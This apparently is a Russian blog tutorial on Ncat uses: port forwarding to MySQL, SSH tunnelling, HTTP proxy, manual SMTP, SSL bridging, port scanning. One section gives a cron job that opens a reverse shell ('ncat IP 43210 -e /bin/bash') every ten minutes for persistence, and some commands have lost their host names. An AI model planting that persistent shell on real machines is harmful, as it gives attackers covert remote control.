Рассмотрим ещё один вариант: изначально сетевая программа настроена на прослушивание только локального адреса (localhost) и подключиться к ней из вне (с удалённого компьютера) невозможно. Самым распространённым таким примером является СУБД MySQL. Эта служба является сетевой и другие программы (например, обработчик PHP скриптов) связывается с ней по сети. Но многие системные администраторы настраивают MySQL так, чтобы с локального компьютера к ней можно было обратиться, а с удалённого — нет. В результате достигается следующее: веб-сайты, в том числе использующие базы данных MySQL, работают нормально, без изменений, поскольку подключение к MySQL выполняется в любом случае локально; но атакующий уже не может подключиться к MySQL (например, для подбора пароля). Правда, при этом и становится недоступной возможность удалённого обслуживания MySQL и легитимным системным администратором или веб-мастером.

С помощью Ncat можно разрешить эту проблему — вновь на некоторое время сделать MySQL доступной для удалённого подключения. Это достигается умением Ncat перенаправлять трафик.

Начнём с того, что с помощью Whatportis вспомним, какой порт использует MySQL:

whatportis mysql +-------+------+----------+-------------+ | Name | Port | Protocol | Description | +-------+------+----------+-------------+ | mysql | 3306 | tcp | MySQL | | mysql | 3306 | udp | MySQL | +-------+------+----------+-------------+

Теперь на сервере, где работает доступная только локально служба, запускаем команду вида:

ncat --sh-exec "ncat КОНЕЧНЫЙ_IP КОНЕЧНЫЙ_ПОРТ" -l ПРОСЛУШИВАЕМЫЙ_ПОРТ --keep-open
  • КОНЕЧНЫЙ_IP — тот адрес, куда будет сделано перенаправление
  • КОНЕЧНЫЙ_ПОРТ — тот порт, на который будет сделано перенаправление
  • ПРОСЛУШИВАЕМЫЙ_ПОРТ — порт на сервере, к которому мы будем подключаться с нашего локального компьютера

Причём в качестве КОНЕЧНЫЙ_IP может выступать локальный адрес, в данном случае я использую 127.0.0.1. Итак, моя команда, которую я запускаю на сервере:

ncat --sh-exec "ncat 127.0.0.1 3306" -l 43210 --keep-open

На своём локальном компьютере я запускаю:

mysql -h IP -u ПОЛЬЗОВАТЕЛЬ -p -P ПОРТ --protocol=tcp
  • IP — адрес сервера, где сетевая служба доступна только локально
  • ПОЛЬЗОВАТЕЛЬ — имя пользователя MySQL
  • ПОРТ — номер порта, который прослушивает ncat
  • Опция -p — означает запросить пароль пользователя
  • --protocol=tcp — означает, что будет использоваться протокол TCP (это не принципиально, можно использовать и UDP — главное, указать соответствующую опцию в ncat, которая умеет работать и с UDP, но по умолчанию использует TCP)

Как видим, всё работает:

Использование SSH через туннель Ncat

С Ncat и OpenSSH вы можете делать SSH подключения к хосту за NAT роутером без необходимости делать форвардинг (проброску) портов на роутере. Роутер должен иметь установленную Ncat. В этой команде показано, как подключиться по SSH к через :

ssh -o ProxyCommand="ssh -q ncat %h %p"

Опция ProxyCommand в ssh говорит как открыть SSH соединение к . Она делает это открывая другую SSH сессию к и подключая его к с Ncat.

Если администратор вашего SSH сервера не отключил туннелирование (которое в большинстве конфигураций включено), вы можете использовать встроенный в SSH прокси сервер. Используйте следующую команду для открытия прокси сервера на TCP порту 8080 вашей локальной машины, который туннелирует трафик через SSH соединение:

ssh router -D 8080

Теперь вы можете делать подключения внутри сети используя возможности прокси клиента Ncat. Например, для подключения к хосту с IP адресом 192.168.1.123, то есть за вашим роутером, вы можете использовать следующую команду если вы открыли туннель:

ncat --proxy localhost:8080 --proxy-type socks4 192.168.1.123

Как Ncat превратить в прокси

Свои подключения Ncat может выполнять через прокси, поддерживаются следующие типы: SOCKS 4, SOCKS 5 и HTTP. Подробнее об опциях подключения с прокси вы можете найти на справочной странице Ncat: https://kali.tools/?p=4578

Я предлагаю рассмотреть более интересный вариант — превращение самой Ncat в прокси. В качестве прокси сервера Ncat поддерживает только тип HTTP.

Поддерживается создание HTTP прокси как к аутентификацией, так и без:

ncat -l 3128 --proxy-type http ncat -l 3128 --proxy-type http --proxy-auth :

  • -l — включает режим прослушивания
  • 3128 — означает прослушивать указанный номер порта
  • --proxy-type http — означает выбор типа прокси
  • --proxy-auth : — устанавливает учётные данные для авторизации на прокси сервере

К примеру, на своём хостинге я запускаю прокси сервер:

ncat -l 43210 --proxy-type http --proxy-auth user:pass

Теперь в настройках веб-браузера я указываю соответствующий IP и порт, которые прослушивает ncat, также ставлю галочку, чтобы использовать этот прокси для всех соединений:

Открываю сайт где можно проверить свой IP: https://suip.biz/ru/?act=myip

У меня сразу запрашиваются учётные данные для авторизации на прокси:

И вместо моего реального IP теперь показывается адрес моего хостинга, который я с помощью Ncat использую в качестве прокси:

В режиме прослушивания, если не установлен порт, то по-прежнему будет использоваться 31337, а не другие популярные для прокси порты. Прокси поддерживает в веб сёрфинге методы GET, HEAD и POST, а также метод CONNECT, который позволяет туннелировать произвольные TCP соединения (когда Ncat подключается как клиент, она использует CONNECT).

Для HTTP поддерживается Basic и Digest схемы аутентификации, причём как на клиентской, так и на серверной стороне. Digest более безопасна, поэтому если она доступна, то Ncat будет её предпочитать более чем Basic. Сервер предлагает клиентам обе схемы. Basic отправляет учётные данные в открытом виде, а Digest — нет. Реализация Digest в Ncat позволяет атаки повторного воспроизведения (replay attacks) в течение до 10 секунд (с Basic всегда возможна атака повторного воспроизведения и другие атаки).

Предупреждение от авторов Ncat: HTTP proxy поднятый на Ncat разработан таким образом, чтобы не мешать вам и помогать вам создавать временные сетевые подключения. Его не следует использовать как повседневный прокси, открытый для Интернета. Вы можете ограничить, кто может подключаться, используя опции --allow, --deny и --proxy-auth, но это не сильная форма аутентификации. Прокси без аутентификации опасен, поскольку он может быть использован другими в выполнении атак и помочь им избежать обнаружения. Возможность CONNECT особенно опасна, поскольку она включает трафик любого рода, а не только HTTP.

Как разрешить подключение к Ncat с определённых IP

В Ncat имеется механизм контроля доступа, который позволяет настроить находящуюся в режиме прослушивания Ncat таким образом, что только определённые IP смогут к ней подключаться или определённые IP будут заблокированы для подключения. Это достигается использованием опций:

Подробности о них смотрите в справке.

Отправка почты

Это ещё один пример, в котором демонстрируется, как может использоваться Ncat для работы с протоколами уровня приложений.

Очень интересно взаимодействовать с текстовыми сетевыми протоколами, используя только Ncat и клавиатуру. Вот короткий пример, показывающий, как отправлять электронную почту, общаясь с SMTP-сервером. SMTP описан в RFC 5321, но вам не нужно много знать о протоколе, чтобы отправить простое сообщение. Номер порта, назначенный сервису, равен 25, и мы используем -C, потому что он требует окончания строки CRLF. Пример содержит стенограмму сеанса.

Пример. Ncat как почтовый клиент:

ncat -C mail.example.com 25 220 mail.example.com ESMTP HELO client.example.com 250 mail.example.com Hello client.example.com MAIL FROM:a@example.com 250 OK RCPT TO:b@example.com 250 Accepted DATA 354 Enter message, ending with "." on a line by itself From: a@example.com To: b@example.com Subject: Greetings from Ncat Hello. This short message is being sent by Ncat. . 250 OK QUIT 221 mail.example.com closing connection

Чтобы этот пример работал для вас, измените mail.example.com на ваш SMTP-сервер и client.example.com на ваше доменное имя. Естественно, вы захотите изменить адреса электронной почты и сообщения тоже. Вероятно, он будет работать только при использовании обычного почтового сервера с вашим реальным адресом электронной почты или при использовании почтового сервера получателя (найдите запись MX для доменного имени в его адресе электронной почты).

Очевидно, что эта техника может быть использована не только для отправки почты. Ncat — отличный интерактивный инструмент отладки для любого текстового протокола. Такая отладка иногда выполняется с помощью команды telnet, потому что она предоставляет что-то вроде необработанного текстового потока. Тем не менее Ncat предлагает несколько преимуществ по сравнению с Telnet. Ncat не печатает ничего, кроме того, что отправлено удаленным хостом. Telnet не подходит для произвольных двоичных данных, потому что он резервирует некоторые байты в качестве управляющих символов. Команда telnet завершается, когда заканчивается её ввод, поэтому вы можете не увидеть, что отправлено с другого конца. И, наконец, telnet не может использовать UDP.

Создание цепей последовательной передачи трафика между нескольких Ncat

Ncat создана работать в потоке ввода и вывода других утилит (pipeline), поэтому естественно, что вывод от одного экземпляра Ncat можно скормить на вводу другого. Далее пример одного из способов отправки файла лога с host1 на host3 через host2:

ncat -l > log.txt
ncat -l | ncat host3
ncat --send-only host2 < log.txt

Возможная проблема с этим методом заключается в том, что он односторонний: хост1 может отправлять на хост3, но хост3 не может отправить что-либо обратно на хост1. В этом случае это не имеет значения, но при желании можно настроить двухстороннюю связь, к примеру:

ncat -l > log.txt
ncat -l --sh-exec "ncat host3"
ncat --send-only host2 < log.txt

Ncat, прослушивающий хост2, после получения соединения создаёт новый Ncat для связи с хостом 3 и соединяет входы и выходы программ, работающих на хосте 1 и хосте 3, вместе. Тот же трюк можно использовать и на локальном хосте. В этом примере перенаправляется локальный порт 8080 на веб-сервер на example.org:

ncat -l localhost 8080 --sh-exec "ncat example.org 80"

Очистка от SSL

Предположим, вам нужно подключиться к серверу IMAP, который требует SSL, но ваш почтовый ридер не поддерживает SSL. Ncat может выступать в качестве зашифрованного моста для соединения клиента и сервера. Вы подключите почтовый клиент к локальному порту, и Ncat перенаправит зашифрованный трафик на сервер. Вот как подключить IMAP (порт 143) на локальном хосте к IMAP через SSL (порт 993) на imap.example.com.

ncat -l localhost 143 --sh-exec "ncat --ssl imap.example.com 993"

Как только это произойдёт, дайте указание почтовому клиенту подключиться к серверу IMAP на локальном хосте.

Этот приём работает для протоколов, которые передают трафик строго между двумя хостами. Он не работает хорошо для HTTP, потому что HTTP обычно знает имена хостов и часто включает в себя несколько хостов.

Ncat как SSL сервер

Выше уже рассмотрена опция использования Ncat в режиме подключения к HTTPS и SSL.

В режиме сервера Ncat также может использовать SSL. Режим сервера предоставляет сертификат, которые клиент при желании может проверить.

Если запустить SSL сервер без опций --ssl-cert --ssl-key, то Ncat автоматически сгенерирует сертификат и 1,024-битный ключ RSA. Конечно, такому сертификату не будет доверять ни одно приложение, выполняющее верификацию сертификатов. В вербальном режиме будет напечатан отпечаток ключа, поэтому при желании вы можете выполнить ручную проверку.

Пример автоматической генерации сертификата:

ncat -v --listen --ssl Ncat ( https://nmap.org/ncat ) Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one. SHA-1 fingerprint: F0:13:BF:FB:2D:AA:76:88:22:60:3E:17:93:29:3E:0E:6B:92:C0:2F

По возможности рекомендуется использовать существующий сертификат и ключ, поскольку он обеспечивает надёжную проверку подлинности сервера. Используйте параметры --ssl-cert и --ssl-key для указания файлов в кодировке PEM. В целях тестирования вы можете создать самозаверенные сертификат и приватный ключ. Если у вас установлен OpenSSL, используйте эту команду:

openssl req -new -x509 -keyout test-key.pem -out test-cert.pem

Для целей проверки сертификата, commonName в сертификате должен соответствовать полному доменному имени (fully qualified domain name) хоста, на котором работает сервер. После генерации этих файлов, запустите сервер:

ncat --listen --ssl --ssl-cert test-cert.pem --ssl-key test-key.pem

Чтобы установить проверенное клиентское соединение, скопируйте файл test-cert.pem куда-нибудь, где клиент сможет получить к нему доступ, затем запустите:

ncat --ssl-verify --ssl-trustfile test-cert.pem

Дополнительные подробности по использованию SSL смотрите в справке.

Сканирование портов

Ncat не поддерживает эту функцию, но оригинальная nc умеет сканировать порты.

Для запуска сканера TCP портов в диапазоне [начальныйПорт] до [конечныйПорт]:

nc -v -n -z -w1 [Целевой_IP] [начальныйПорт]-[конечныйПорт]

Закрепление на удалённой машине

На удалённой машине установка запуска ncat с помощью Cron каждые 10 минут:

crontab -e */10 * * * * ncat IP 43210 -e /bin/bash

Эмуляция диагностических служб

Поскольку Ncat может выступать в роли сервера который принимает что угодно и выводит это на экран (или сохраняет в файл), то можно запустить Ncat в режиме прослушивания, а в программе, чья сетевая активность нас интересует, мы можем указать адрес Ncat. В результате программа обратиться к Ncat, а в свою очередь Ncat покажет нам всё, что ей прислала эта программа.

Допустим, мне интересно, какой запрос отправляет команда dig — эта команда используется для преобразования имён хостов в IP адреса и обратно. Я знаю, что по умолчанию она использует UDP протокол на 53 порту. Поэтому у себя на компьютере я запускаю ncat с опцией -l (включает прослушивания), с опцией -u (означает использовать порт UDP) и с указанием порта 53:

sudo ncat -l -u 53

На этом же компьютере в другой консоли я делаю запрос, где в качестве сервера, к которому должна обратиться программа, указываю localhost:

dig hackware.ru @localhost

Как оказалось, программа dig использует не простой текст, а двоичные данные, поэтому в консоли ncat отобразились нечитаемые символы. Хотя даже так видно, что домен передаётся в виде простого текста (почти) и делается 3 попытки. Кстати, у Ncat есть опции для сохранения бинарных данных. То есть при желании я могу их правильно сохранить и затем анализировать в шестнадцатеричном редакторе.

Дополнительные подробности и примеры смотрите на странице: https://nmap.org/ncat/guide/ncat-simple-services.html

Заключение

В данной статье рассмотрено много примеров использования Ncat, но далеко не все. О других опциях Ncat вы можете узнать на её справочной странице.

Что касается случаев применения Ncat, то их может быть ещё больше. Не забывайте о возможности комбинировать между собой функции данной утилиты.

Связанные статьи:

  • Как скачать файл с сервера (56.5%)
  • Как установить Pupy (52.7%)
  • Брут-форс и эксплуатация скомпрометированных WordPress (50.6%)
  • Скрытое управление компьютером на Windows (используя Metasploit) (50.5%)
  • Как использовать инструменты PsExec для запуска команд и управления удалёнными системами Windows (50.3%)
  • Решение проблемы: Live USB флэшка с Linux не загружается, ошибка «A start job is running for live-config contains the components that configure a live system during the boot process (late userspace)» (RANDOM - 2.5%)

факультете информационной безопасности от GeekBrains? Комплексная годовая программа практического обучения с охватом всех основных тем, а также с дополнительными курсами в подарок. По итогам обучения выдаётся свидетельство установленного образца и сертификат. По этой ссылке специальная скидка на любые факультеты и курсы!

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *